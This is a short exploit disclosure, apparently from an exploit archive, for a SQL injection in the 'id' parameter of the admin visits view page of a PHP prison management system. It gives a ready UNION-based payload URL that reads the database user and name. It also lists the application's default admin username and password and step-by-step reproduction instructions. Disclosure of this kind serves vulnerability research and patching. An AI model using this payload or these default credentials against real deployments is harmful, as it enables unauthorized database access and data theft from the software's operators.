Exploit Author: webraybtl@webray.com.cn inc
Vendor Homepage: https://www.sourcecodester.com/php/15368/prison-management-system-phpoop-free-source-code.html
Software Link:https://www.sourcecodester.com/download-code?nid=15368&title=Prison+Management+System+in+PHP%2FOOP+Free+Source+Code
The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters , so that the user's input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability.Prison Management System does not filter the content correctly at the /admin/visits/view_visit.php
"id" parameter, resulting in the generation of SQL injection.
/pms/admin/visits/view_visit.php?id=2%27and%201=2%20union%20select%201,2,3,4,5,6,7,user(),database()--+
-
Login the CMS. Admin Default Access: username:admin Password: admin123
-
Open Page http://localhost/pms/admin/?page=visits click View button
-
Put SQL payload in the browser;
-
Viewing the dbuser and database name in page;